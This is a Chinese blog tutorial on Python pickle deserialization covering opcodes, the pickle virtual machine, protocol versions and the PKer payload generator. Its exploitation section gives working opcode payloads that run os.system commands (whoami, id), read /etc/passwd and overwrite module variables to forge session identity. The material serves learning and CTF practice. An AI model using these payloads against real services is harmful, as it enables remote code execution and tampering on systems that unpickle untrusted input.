pickle反序列化(浅浅的整理)
本文最后更新于 3 天前,其中的信息可能已经有所发展或是发生改变。

什么是pickle?

Pickle 是一个用于序列化和反序列化的 Python 库。它允许将复杂的对象,如字典、列表或其他Python对象,转换为字符串格式进 行存储或传输,并能在需要时恢复原始对象。

与php类似的,python也有序列化功能以长期储存内存中的数据,pickle是python下的序列化与反序列化包

python有另一个更原始的序列化包marshal,现在开发一般使用pickle

pickle实际可以看作一种独立的语言,通过对opcode的更改编写可执行python代码,覆盖变量等操作,直接编写opcode灵活性比使用pickle序列化生成的代码更高,有的代码不能通过pickle序列化得到(解析能力大于生成能力)

主要功能

  1. 序列化:将Python对象转换为字节形式(二进制数据)。
  2. 反序列化:将字节形式的数据转换回原生Python对象。
  3. 持久化:保存对象到文件中,便于后续使用或传输。

使用场景

  • 数据存储:将需要长期使用的对象持久化,避免重复处理。
  • 模型持久化:在机器学习中,用于将训练好的模型保存为字节形式,以便 future 使用。
  • 远程通信:将对象发送到远程服务器后,再进行反序列化以获取数据。

前置知识

python对象

对象是数据和功能的结合体。Python是一种面向对象编程语言,它使用对象来组织代码和数据。在Python中,几乎所有的东西都是对象,包括整数、浮点数、列表、元组、字典、函数、类等。 

一个Python对象通常包含以下部分:

身份(Identity):每个对象都有一个唯一的身份标识,通常是它的内存地址。可以使用内建函数id()来获取对象的身份。
类型(Type):对象属于某种类型,比如整数、浮点数、字符串、列表等。可以使用内建函数type()来获取对象的类型。
值(Value):对象所持有的数据。不同类型的对象有不同的值。例如,整数对象的值是整数值,字符串对象的值是字符序列。
属性(Attributes):对象可以有零个或多个属性,这些属性是附加到对象上的数据。属性通常用于存储对象的状态信息。
方法(Methods):对象可以有零个或多个方法,方法是附加到对象上的函数。这些方法定义了对象可以执行的操作。

python面向对象

面向对象的思想和php是一致的,只是定义类的代码,调用类函数和类属性的方式和php有所不同而已

python中调用实例的属性和方法

python中存在类属性和实例属性,实例属性只对一个实例生效,类属性对一个类生效.定义实例属性的方法是用__init__魔术方法.调用类属性的方法是类名.变量名或者self.__class__.变量名.

同样地,python的面向对象也有私有属性,私有方法,类的继承等.

序列化和反序列化

序列化就是将一个对象转换为以字符串方式存储的过程

反序列化就是将字符串重新变为一个对象的实例.

Linux中和Windows中可能会不同

可序列化的对象

  • None、Ture和False
  • 整数,浮点数,复数
  • byte,str
  • 只包含可封存对象的集合,包括list,set,dict和tuple
  • 定义在模块最外层的函数(def定义)
  • 定义在模块最外层的内置函数
  • 定义在模块最外层的类
  • 某些类实例,这些类的 __dict__ 属性值或 __getstate__() 函数的返回值可以被打包

序列化和反序列化的函数

1. pickle.dump()

  • 功能:将 Python 对象序列化后写入到一个文件对象中。
  • 语法
pickle.dump(obj, file, protocol=None)
  • obj:要序列化的 Python 对象。
  • file:一个以二进制写入模式('wb')打开的文件对象。
  • protocol:指定序列化协议的版本,可选参数,默认值为 None,表示使用最高可用协议。
  • 示例
import pickle

data = {'name': 'Alice', 'age': 25}
with open('data.pickle', 'wb') as f:
   pickle.dump(data, f)

2. pickle.load()

  • 功能:从一个文件对象中读取序列化的数据,并将其反序列化为 Python 对象。
  • 语法
pickle.load(file)
  • file:一个以二进制读取模式('rb')打开的文件对象。
  • 示例:结合上面 pickle.dump() 的示例,读取并反序列化数据
import pickle

with open('data.pickle', 'rb') as f:
   loaded_data = pickle.load(f)
print(loaded_data)

3. pickle.dumps()

  • 功能:将 Python 对象序列化后返回一个字节对象,而不是写入文件。
  • 语法
pickle.dumps(obj, protocol=None)
  • obj:要序列化的 Python 对象。
  • protocol:指定序列化协议的版本,可选参数,默认值为 None,表示使用最高可用协议。
  • 示例
import pickle

data = [1, 2, 3, 4, 5]
serialized_data = pickle.dumps(data)
print(serialized_data)

4. pickle.loads()

  • 功能:从字节对象中读取序列化的数据,并将其反序列化为 Python 对象。
  • 语法
pickle.loads(bytes_object)
  • bytes_object:包含序列化数据的字节对象。
  • 示例:结合上面 pickle.dumps() 的示例,反序列化字节对象:
import pickle

data = [1, 2, 3, 4, 5]
serialized_data = pickle.dumps(data)
deserialized_data = pickle.loads(serialized_data)
print(deserialized_data)

总结

  • pickle.dump()pickle.load() 主要l用于将对象序列化到文件和从文件中反序列化对象,适用于数据持久化存储的场景。
  • pickle.dumps()pickle.loads() 主要用于将对象序列化为字节对象和从字节对象中反序列化对象,适用于在内存中进行对象的序列化和反序列化,例如在网络传输中。

简单的例子

import pickle

class Person():
  def __init__(self):
      self.age=18
      self.name="Pickle"

p=Person()
opcode=pickle.dumps(p)
print(opcode)
#结果如下
#b'\x80\x04\x957\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x06Person\x94\x93\x94)\x81\x94}\x94(\x8c\x03age\x94K\x12\x8c\x04name\x94\x8c\x06Pickle\x94ub.'


P=pickle.loads(opcode)
print('The age is:'+str(P.age),'The name is:'+P.name)
#结果如下
#The age is:18 The name is:Pickle

常见方法

objec.___reduce__()

__reduce__()其实是object类中的一个魔术方法,我们可以通过这个函数重写类,使之在被实例化时按照重写的方式进行

python要求object.__reduce__()返回一个(callable,([para1,para2...])[,...])的元组,每当该类的对象被unpickle时,该callable就会被调用以生成对象(该callable其实是构造函数)

pickle的opcode(操作码)中,R的作用于object.__reduce__()关系密切:选择栈上的第一个对象作为函数,第二个对象作为参数(第二个对象必须为元组),然后调用该函数,其实R正好对应object.__reduce__()的返回值会作为R的作用对象,当包含该函数的对象被pickle序列化时,得到的字符串是包含了R的

解释一下opcode

在 Python 的 pickle 模块中,opcode(操作码)指的是构成 pickle 数据流的基本指令单元

可以这样理解:
当你使用 pickle.dump() 或 pickle.dumps() 把一个 Python 对象序列化时,pickle 模块会将这个对象编码成一个字节流。这个字节流其实就是一系列opcode + 参数组成的“指令集”,这些指令告诉 pickle 在反序列化时(load() 或 loads())如何一步步地还原对象

举个简单的例子

import pickle

data = [1, 2, 3]
b = pickle.dumps(data, protocol=0)
print(b.decode())
-------------------------------------------
(lp0
I1
I2
I3
a.
下面这段是protocol 0的pickle格式,他是纯文本格式
具体解释如下
( → MARK:标记开始一个新对象(比如列表)

l → LIST:表示接下来要创建一个列表

p0 → PUT 0:把这个列表对象放到 memo 字典中的 key=0 的位置

I1 → INT 1:整数1

I2 → INT 2:整数2

I3 → INT 3:整数3

a → APPEND:把前面那个值加入列表

. → STOP:结束

其中opcode就是构成pickle序列的机器语言指令

每个opcode通常是一个字符或字节,表示一个操作

pickletools模块可以用来反汇编pickle字节流,查看每个opcode和其含义

示例:

import pickletools
import pickle

obj = {"name": "Nick", "age": 18}
b = pickle.dumps(obj, protocol=2)

pickletools.dis(b)
-------------------------------------------
0: \x80 PROTO     2
  2: }   EMPTY_DICT
  3: q   BINPUT     0
  5: (   MARK
  6: X       BINUNICODE 'name'
  15: q       BINPUT     1
  17: X       BINUNICODE 'Nick'
  26: q       BINPUT     2
  28: X       BINUNICODE 'age'
  36: q       BINPUT     3
  38: K       BININT1   18
  40: u       SETITEMS   (MARK at 5)
  41: .   STOP
highest protocol among opcodes = 2
对opcode的一步步解释
偏移 操作码 含义
0 \x80 PROTO 2 使用 protocol 2(pickle 的二进制协议)
2 } EMPTY_DICT 创建一个空字典
3 q BINPUT 0 把这个空字典存入 memo 表第 0 个位置(为了后续引用)
5 ( MARK 标记序列的开始(用来组合多项)
6 U SHORT_BINSTRING 'name' 压入键 "name"
12 U SHORT_BINSTRING 'Nick' 压入值 "Nick"
18 U SHORT_BINSTRING 'age' 压入键 "age"
23 K BININT1 18 压入值 18(1 字节整数)
25 u SETITEMS 将栈上多个 key:value 对加入到字典中
26 . STOP 结束 pickle 流

Pickle的工作原理

其实可以把Pickle看作一种独立的栈语言,它由一串串opcode(指令集)组成

该语言的解析是依靠Pickle virtual machine(PVM)进行的

PVM由以下三部分组成

  • 解析引擎(指令处理器):从流中读取opcode和参数,并对其进行解释处理,重复这个动作,知道遇到.这个结束符后停止,最终留在栈顶的值将被作为反序列化对象返回
  • 栈(stack):由python的list实现,被用来临时存储数据,参数以及对象
  • 内存(memo):由python的dict实现,为PVM的整个生命周期提供存储

PVM解析str的动图:

具体是讲Pickle模块的opcode执行过程,特别是如何构建一个tuple对象的

(         ← MARK
S'str1'   ← 推入字符串 'str1'
S'str2'   ← 推入字符串 'str2'
I1234     ← 推入整数 1234
t         ← TUPLE

( → MARK
标记当前栈的位置(用来构建容器,比如 tuple)。这不是压入值,只是做个“记号”。

S'str1' → STRING 'str1'
把字符串 'str1' 压入栈中。

S'str2' → STRING 'str2'
压入字符串 'str2'。

I1234 → INT 1234
压入整数 1234

t → TUPLE
这个操作会把自上一次 MARK 之后的所有值收集起来,打包成一个 tuple

最终栈的状态,即:('str1', 'str2', 1234)

这个tuple会代替原来的几项,被压入栈中

PVM使用__reduce__动图:

1. c__builtin__\nfile → GLOBAL '__builtin__ file'
这是 pickle 中的 GLOBAL 指令。

它表示:“从模块 __builtin__ 中加载名字叫 file 的东西”(在 Python 2 中,file 是内建类)。

相当于执行了:
__import__('__builtin__').file
栈状态:栈顶是 <file> 函数/类对象。

⚠️ 注意:这在 Python 3 会变成 _io.TextIOWrapper 或 open()。

2. ( → MARK
放一个栈标记,告诉后面的指令:“我要开始收集参数了”。

3. S'/etc/passwd' → STRING '/etc/passwd'
压入一个字符串参数 '/etc/passwd'(Linux 下的系统文件路径)。

4. t → TUPLE
把自 MARK 以来的所有参数打包成一个 tuple。

相当于构造参数列表:
('/etc/passwd',)
5. R → REDUCE

它的作用是:
<函数或类对象>(*args)
在这里就是:
file('/etc/passwd')
在 Python 2 中,这会打开文件 /etc/passwd 并返回一个 file 对象!
如果后续 pickle.load() 时反序列化了这个对象,那就等于执行了文件访问操作

详细解释一下,R指令其实就是

拿栈顶的 函数/类对象 和它下面的 参数 tuple,然后执行:func(*args),把结果放回栈顶
即:打包参数成 tuple → 用 R 把参数应用到函数或类上 → 得到一个新的对象

这边搞了一个简单的示例图:

┌──────────────────┐
│ c__builtin__ file │ → 栈.push(file类对象)
└──────────────────┘
        ↓
┌────┐
│ ( │ → 栈.push(MARK)
└────┘
        ↓
┌───────────────────────┐
│ S'/etc/passwd'         │ → 栈.push('/etc/passwd')
└───────────────────────┘
        ↓
┌────┐
│ t │ → 把 MARK 后内容打包成 ('/etc/passwd',)
└────┘
        ↓
┌────┐
│ R │ → 执行 file('/etc/passwd') → 结果对象压回栈
└────┘

pickling协议

pickling的协议共有五种

  • v0版协议是原始的可读协议,并且向后兼容早起版本的python
  • v1版协议是较早的二进制格式,与python1.6出现,它也与早期的版本的python也兼容
  • v2版协议是在python2.3中引入的,优化对象共享
  • v3版协议是python3.0后引入的,专门为python3设计,支持bytes类型,但是python2无法读取
  • v4版协议是python3.4后引入的,支持超大对象,递归深对象,减少拷贝,主要是为大数据准备
  • v5版协议是python3.8后出现的,支持out-of-band数据传输(带外),支持大型神经网络模型使用

协议是向前兼容的

可以用脚本测试去看看各个版本的协议

import pickle

data = ['hello', 'world']

# 用 protocol 0
pickled0 = pickle.dumps(data, protocol=0)#自行修改即可

# 用最新协议
pickled_latest = pickle.dumps(data, protocol=pickle.HIGHEST_PROTOCOL)

print(pickled0)
print(pickled_latest)

常用opcode

以v0为例

指令描述具体写法栈上的变化
c获取一个全局对象或import一个模块,或者说c 指令 = GLOBALc[module]\n[instance]\n获得的对象入栈
o寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)o这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈
i相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)i[module]\n[callable]\n这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈
N实例化一个NoneN获得的对象入栈
S实例化一个字符串对象S’xxx’\n(也可以使用双引号、’等python字符串形式)获得的对象入栈
V实例化一个UNICODE字符串对象Vxxx\n获得的对象入栈
I实例化一个int对象Ixxx\n获得的对象入栈
F实例化一个float对象Fx.x\n获得的对象入栈
R选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数R函数和参数出栈,函数的返回值入栈
.程序结束,栈顶的一个元素作为pickle.loads()的返回值.
(向栈中压入一个MARK标记(MARK标记入栈
t寻找栈中的上一个MARK,并组合之间的数据为元组tMARK标记以及被组合的数据出栈,获得的对象入栈
)向栈中直接压入一个空元组)空元组入栈
l寻找栈中的上一个MARK,并组合之间的数据为列表lMARK标记以及被组合的数据出栈,获得的对象入栈
]向栈中直接压入一个空列表]空列表入栈
d寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对)dMARK标记以及被组合的数据出栈,获得的对象入栈
}向栈中直接压入一个空字典}空字典入栈
p将栈顶对象储存至memo_npn\n
g将memo_n的对象压栈gn\n对象被压栈
0丢弃栈顶对象0栈顶对象被丢弃
b使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置b栈上第一个元素出栈
s将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中s第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新
u寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中uMARK标记以及被组合的数据出栈,字典被更新
a将栈的第一个元素append到第二个元素(列表)中a栈顶元素出栈,第二个元素(列表)被更新
e寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中eMARK标记以及被组合的数据出栈,列表被更新

pickletools模块

可以使用pickletools模块,将opcode转换成方便阅读的形式

import pickletools

opcode=b'''cos
system
(S'whoami'
tR.'''
pickletools.dis(opcode)

----------------------------------------
0: c   GLOBAL     'os system'   # 导入 os.system
11: (   MARK
12: S       STRING     'whoami'   # 放入字符串 'whoami'
22: t       TUPLE     (MARK at 11) # 把 MARK 之后的元素打包成 tuple
23: R   REDUCE                   # 调用 os.system('whoami')
24: .   STOP                     # 结束
highest protocol among opcodes = 0
一步步解释一下:
c GLOBAL 从全局命名空间找一个对象(os system)
( MARK 开一个"括号"标记,后面要打包tuple
S STRING 读取一个字符串 'whoami'
t TUPLE 把MARK到现在的内容打包成一个 tuple
R REDUCE 把 GLOBAL 得到的 callable 应用到这个 tuple 上,也就是 os.system('whoami')
. STOP 结束整个pickle流

漏洞利用方式

命令执行

可以用__reduce__方法重写,从而在反序列化时执行任意命令,如果想一次执行多个命令就得手写opcode了

.是程序结束的标志,可以通过去掉.来将两个字节流拼接起来

import pickle

opcode=b'''cos
system
(S'whoami'
tRcos
system
(S'whoami'
tR.'''
pickle.loads(opcode)

#结果如下
xiaoh\34946
xiaoh\34946

R指令

在 Pickle 的世界里, R = REDUCE(还原、恢复)

它干一件事情:

拿一个可调用的对象(通常是一个类或函数)+ 参数,调用它,产生一个新的对象。

简单粗暴一句话R 就是 调用(对象, 参数)

opcode=b'''cos
system
(S'whoami'
tR.'''

i指令

i是INST指令,代表创建对象实例

格式:

i<module>\n<class>\n
(MARK
...(args)...
t
b

i后面跟着模块名+类名
接着用MARK开始打包传给类构造器的参数(其实是一个tuple)
最后通过build或其他指令来完成实例化

相当于c和o的组合,先获取一个全局函数,然后寻找栈上一个MARK,并且组合之间的数据位元组,以该元组为参数执行全局函数

opcode=b'''(S'whoami'
ios
system
.'''

o指令

协议0里,o是指令OBJ

通过模块和类名创建对象,并且通过build()方式补充属性

寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)

格式:

o <module>\n<class>\n
( MARK
(args)
t TUPLE
(attr dict)
b BUILD
. STOP

也就是:
o 指出要实例化哪个模块的哪个类
用 ( 开始收集传给构造器 __init__ 的参数
用 t 把参数打成一个 tuple
可以通过 d 建立一个 dict 来存对象属性
b 把属性 dict 应用到对象
. 结束
opcode=b'''(cos
system
S'whoami'
o.'''
部分Linux系统下和Windows下的opcode字节流并不兼容,比如Windows下部分系统命令函数为os.system(),在部分Linux下则为posix.system()
并且pickle.loads会解决import 问题,对于未引入的module会自动尝试import。也就是说整个python标准库的代码执行、命令执行函数我们都可以使用

变量覆盖

在session或token中,由于需要存储一些用户信息,所以能看到pickle,程序会将用户的各种信息序列化并存储在session或token中,以此来验证用户身份

如果session或token是以明文的方式进行存储的,我们就可以通过变量覆盖来进行伪造身份

# secret.py
name='TEST3213qkfsmfo'
import pickle
import secret

print("secret变量的值为:"+secret.secret)

opcode=b'''c__main__
secret
(S'secret'
S'Hack!!!'
db.'''
ssss=pickle.loads(opcode)

print("secret变量的值为:"+ssss.secret)

###
secret变量的值为:This is a key
secret变量的值为:Hack!!!

db.就是:构造一个字典,然后直接写入目标对象的__dict__,相当于直接给对象加(或者覆盖)属性和值

是将hack!!!写进secret这个模块对象,而且通过改__dict__来做的覆盖的

通过c来获取__main__.secret模块,然后将字符串secret和Hack!!!压入栈中,然后通过字节码d将两个字符串组合成字典{'secret':'Hack!!!'}的形式。由于在pickle中,反序列化后的数据会以key-value的形式存储,所以secret模块中的变量secret="This is a key",是以{'secret':'This is a key'}形式存储的。最后再通过字节码b来执行__dict__.update(),即{'secret':'This is a key'}.update({'secret':'Hack!!!'}),因此最终secret变量的值被覆盖成了Hack!!!

实例化对象

实例化对象是一种特殊的函数执行,这里简单的使用 R 构造一下,其他方式类似:

class Student:
  def __init__(self, name, age):
      self.name = name
      self.age = age

data=b'''c__main__
Student
(S'Sun'
S"19"
tR.'''

a=pickle.loads(data)
print(a.name,a.age)
指令作用
c__main__\nStudent\nc (GLOBAL)引用 __main__.Student 这个类(注意,是类,不是对象)。
(MARK标记栈位置,准备打包一组参数。
S'Sun'STRING压入字符串 'Sun'(名字)
S"19"STRING压入字符串 "19"(年龄)
tTUPLE把上面两个元素打包成一个 tuple:('Sun', '19')
RREDUCE这个很关键 ➔ 用 Student 类 和 参数 ('Sun', '19'),去调用 Student('Sun', '19') 来创建对象
.STOP结束序列化。

PKer

Pker是什么

PKer是遍历Python AST的形式来自动化解析pickle opcode的工具

可以实现

  • 变量赋值:存到memo中,保存memo下标和变量名即可
  • 函数调用
  • 类型字面量构造
  • list和dict成员修改
  • 对象成员变量修改

解析器原理

通过AST来构造pickle opcode

PKer的使用

pickle最主要就是三个函数GLOBAL()INST()OBJ()

GLOBAL('os', 'system')             =>  cos\nsystem\n
INST('os', 'system', 'ls')         => (S'ls'\nios\nsystem\n
OBJ(GLOBAL('os', 'system'), 'ls') => (cos\nsystem\nS'ls'\no

return可以返回一个对象

return           =>  .
return var       => g_\n.
return 1         => I1\n.

也可以这样

#pker_test.py

i = 0
s = 'id'
lst = [i]
tpl = (0,)
dct = {tpl: 0}
system = GLOBAL('os', 'system')
system(s)
return
#命令行下
$ python3 pker.py < pker_tests.py

b"I0\np0\n0S'id'\np1\n0(g0\nlp2\n0(I0\ntp3\n0(g3\nI0\ndp4\n0cos\nsystem\np5\n0g5\n(g1\ntR."
以下module都可以是包含`.`的子module
调用函数时,注意传入的参数类型要和示例一致
对应的opcode会被生成,但并不与pker代码相互等价

GLOBAL
对应opcode:b'c'
获取module下的一个全局对象(没有import的也可以,比如下面的os):
GLOBAL('os', 'system')
输入:module,instance(callable、module都是instance)  

INST
对应opcode:b'i'
建立并入栈一个对象(可以执行一个函数):
INST('os', 'system', 'ls')  
输入:module,callable,para

OBJ
对应opcode:b'o'
建立并入栈一个对象(传入的第一个参数为callable,可以执行一个函数)):
OBJ(GLOBAL('os', 'system'), 'ls')
输入:callable,para

xxx(xx,...)
对应opcode:b'R'
使用参数xx调用函数xxx(先将函数入栈,再将参数入栈并调用)

li[0]=321

globals_dic['local_var']='hello'
对应opcode:b's'
更新列表或字典的某项的值

xx.attr=123
对应opcode:b'b'
对xx对象进行属性设置

return
对应opcode:b'0'
出栈(作为pickle.loads函数的返回值):
return xxx # 注意,一次只能返回一个对象或不返回对象(就算用逗号隔开,最后也只返回一个元组)

对于PKer的详细使用后面会加上,不要太过于依赖PKer可以多试试手搓opcode,用PKer作为辅助练习

例题过段时间再加上,最近一直在忙东西

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇